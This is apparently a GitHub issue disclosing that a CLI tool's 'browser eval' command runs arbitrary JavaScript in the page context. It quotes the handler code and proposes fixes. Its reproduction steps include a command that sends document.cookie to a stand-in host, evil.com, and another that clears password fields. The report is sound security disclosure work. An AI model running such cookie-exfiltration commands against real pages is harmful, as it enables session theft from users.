Skip to content

[Security] Unrestricted JavaScript evaluation via browser eval command #2732

Description

@sulthonzh

Security Issue: Unrestricted JavaScript Evaluation via Browser Eval Command

Description

The browser eval command accepts and executes arbitrary JavaScript expressions from user input without any sanitization or sandboxing restrictions, enabling code injection and XSS-like attacks.

Context

  • File: src/cli/handlers/browser-nav.ts:76-81
  • Command: orca browser eval --expression <js-code>
  • Component: Browser navigation CLI handlers

Current Behavior

The eval handler directly passes user input to the browser's evaluate() function:

eval: async ({ flags, client, cwd, json }) => {
  const expression = getRequiredStringFlag(flags, 'expression')  // ❌ No validation
  const target = await getBrowserCommandTarget(flags, cwd, client)
  const result = await client.call<BrowserEvalResult>('browser.eval', { expression, ...target })
  printResult(result, json, (v) => v.result)
}

The runtime then executes it directly in the browser page context:

async browserEval(params: { expression: string } & BrowserCommandTargetParams): Promise<BrowserEvalResult> {
  const target = await this.resolveBrowserCommandTarget(params)
  return this.requireAgentBrowserBridge().evaluate(params.expression, target.worktreeId, target.browserPageId)
}

Expected Behavior

JavaScript evaluation should be restricted to a safe subset, require explicit user confirmation, or be sandboxed to prevent access to sensitive browser APIs.

Steps to Reproduce

  1. Navigate to any website (e.g., orca browser goto https://example.com)
  2. Run: orca browser eval --expression "document.cookie"
  3. Observe all cookies printed to console (data exfiltration)
  4. Run: orca browser eval --expression "window.location.href='http://evil.com/steal?c='+encodeURIComponent(document.cookie)"
  5. Browser navigates to attacker's URL with stolen cookies
  6. Run: orca browser eval --expression "document.querySelectorAll('input[type=password]').forEach(i=>i.value='')"
  7. All password fields are cleared (disruption)

Suggested Fix

Option 1: Add confirmation prompt

diff --git a/src/cli/handlers/browser-nav.ts b/src/cli/handlers/browser-nav.ts
index XXXX..YYYY 100644
--- a/src/cli/handlers/browser-nav.ts
+++ b/src/cli/handlers/browser-nav.ts
@@ -76,8 +76,17 @@ export const BROWSER_NAV_HANDLERS: Record<string, CommandHandler> = {
   eval: async ({ flags, client, cwd, json }) => {
     const expression = getRequiredStringFlag(flags, 'expression')
+    // Require confirmation for eval commands to prevent accidental code execution
+    console.warn(`⚠️  About to execute JavaScript in browser context:\n${expression}`)
+    const { confirm } = await import('@inquirer/prompts')
+    const confirmed = await confirm({ message: 'Execute this JavaScript?', default: false })
+    if (!confirmed) {
+      console.log('Eval cancelled.')
+      return
+    }
     const target = await getBrowserCommandTarget(flags, cwd, client)
     const result = await client.call<BrowserEvalResult>('browser.eval', { expression, ...target })
     printResult(result, json, (v) => v.result)

Option 2: Implement expression whitelist

const ALLOWED_EVAL_PATTERNS = [
  /^window\.location\.(href|pathname|search|hash)$/,
  /^document\.title$/,
  /^document\.readyState$/,
  // Add more safe patterns as needed
]

function validateEvalExpression(expression: string): void {
  const trimmed = expression.trim()
  if (!ALLOWED_EVAL_PATTERNS.some(pattern => pattern.test(trimmed))) {
    throw new RuntimeClientError(
      'invalid_argument',
      `Expression '${trimmed}' is not allowed. Eval is restricted to safe property access.`
    )
  }
}

Option 3: Deprecate and provide safer alternatives

  • Add --eval-unsafe flag with confirmation (for power users)
  • Add safe helper commands: browser get --property title, browser get --property url, etc.
  • Document the security implications of eval in the CLI help text

Impact

  • Who is affected: All users of the browser eval command via CLI
  • Severity: HIGH
  • Attack scenarios:
    • Cookie theft: document.cookie
    • Data exfiltration: Send data to external URLs
    • Session hijacking: Access localStorage, sessionStorage
    • DOM manipulation: Modify page state, inject malicious content
    • XSS-like attacks in agent automation workflows
    • Phishing via injected fake login forms

Environment

  • Version: main branch (2026-05-24)
  • OS: All platforms (macOS, Linux, Windows)

Additional Context

While this feature is powerful for debugging and automation, unrestricted JavaScript execution represents a significant security surface. The browser context has access to:

  • All page cookies (including httpOnly cookies)
  • localStorage and sessionStorage
  • Page DOM and event listeners
  • Navigation APIs
  • Network requests

A compromised agent script or malicious user input could exploit this to steal credentials, tamper with user data, or perform unauthorized actions in the browser.

Positively — happy to submit a PR if this is welcome.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions